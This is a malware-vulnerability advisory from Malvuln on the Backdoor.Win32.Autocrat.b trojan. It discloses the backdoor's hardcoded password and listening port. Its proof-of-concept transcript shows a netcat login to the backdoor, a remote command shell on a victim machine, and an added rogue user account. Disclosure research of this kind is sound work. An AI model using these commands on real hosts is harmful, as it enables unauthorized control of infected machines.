Backdoor.Win32.Autocrat.b MVID-2022-0660 Weak Hardcoded Credential

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/4262a8b52b902aa2e6bf02a156d1b8d4.txtContact: [email protected]: twitter.com/malvulnBackup media: infosec.exchange/@malvulnThreat: Backdoor.Win32.Autocrat.bVulnerability: Weak Hardcoded CredentialsDescription: The malware is packed with PeCompact, listens on TCP port 8536 and requires authentication. However, the password "autocrat" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.Family: AutocratType: PE32MD5: 4262a8b52b902aa2e6bf02a156d1b8d4Vuln ID: MVID-2022-0660Dropped files: srvsupp.exeDisclosure: 11/24/2022Exploit/PoC:C:\Users\gg\Desktop>nc64.exe x.x.x.x 8536Login:autocratWinShell v5.0 (C)2002 janker.org? for helpCMD>?i Installr Removep Pathb reBootd shutDowns Shellx eXitq QuitDownload:CMD>http://.../srv.exe? for helpCMD>sMicrosoft Windows [Version 10.0.16299.309](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\Victim\Desktop>whoamiwhoamidesktop-2c3iqho\victimC:\Users\Victim\Desktop>net user apparitionsec 666 /addnet user apparitionsec 666 /addThe command completed successfully.C:\Users\Victim\Desktop>Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).